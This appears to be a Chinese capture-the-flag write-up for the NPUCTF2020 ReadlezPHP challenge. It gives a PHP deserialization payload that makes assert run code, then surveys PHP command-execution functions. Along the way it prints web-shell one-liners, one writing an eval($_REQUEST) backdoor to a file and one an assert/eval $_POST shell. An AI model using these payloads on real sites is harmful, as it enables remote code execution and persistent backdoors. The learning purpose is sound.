[NPUCTF2020]ReadlezPHP
2022/4/28 22:42:48
本文主要是介绍[NPUCTF2020]ReadlezPHP,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
[NPUCTF2020]ReadlezPHP WriteUp
知识点
- 反序列化
- 可变函数
题解
-
很简单,直接上最后的payload。
?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D 没有编码是: O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
-
但是我想通过这道题总结一下可执行命令函数和可变函数。 理解为什么不用 eval("phpinfo()");
执行外部命令的函数
-
exec()
-
php会操控计算机执行计算机命令,且获取最后一行数据,没有回显,需要echo输出
-
<?php echo exec('ipconfig');?>
-
-
shell_exec()
-
system()
-
会操作计算机执行计算机命令,如果Linux,执行Bash命令,如果Windows执行cmd命令
-
<?php system("whoami");?> 写入shell <?php system('echo "<?php eval($_REQUEST[8]);?>" > 123.php');?>
-
-
passthru() 只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。
-
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码
执行内部命令
-
eval()
- 里面必须是字符串;字符串必须是合法的PHP代码,且必须以分号结尾;如果字符串里面没有调用return语句,则返回NULL,如果解析错误,返回false。
-
assert() 检查断言是否为false。
- 在php5或php7中,如果括号里面是字符串,它会被当作代码来执行
- 构造木马可以用 assert("eval($_POST['cmd'])"); 其中assert 可以是字符串。
-
以前知道可变变量,现在有明白了可变函数。如果一个字符串后面有括号() 。它就会去找与此字符串同名的函数,如果有,就当作函数来执行。
-
但是 语言构造器和 语言结构(echo,print,unset,isset,empty,include,require等) 属于不可变函数
-
eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。
-
从 PHP7.1 之后,assert 也不再是可变函数。
-
还有一些可执行内部命令的函数没有总结,如`` , preg_replace()的 e 模式。等等
这篇关于[NPUCTF2020]ReadlezPHP的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-19php8的协程和hyperf的协程有什么区别?-icode9专业技术文章分享
- 2024-12-19php8 的fiber是什么?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-11-29使用PHP 将ETH账户的资产汇集到一个账户
- 2024-11-23怎么实现安卓+php 热更新方案?-icode9专业技术文章分享
- 2024-11-22PHP 中怎么实现判断多个值是否为空、null 或者为 false?-icode9专业技术文章分享
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享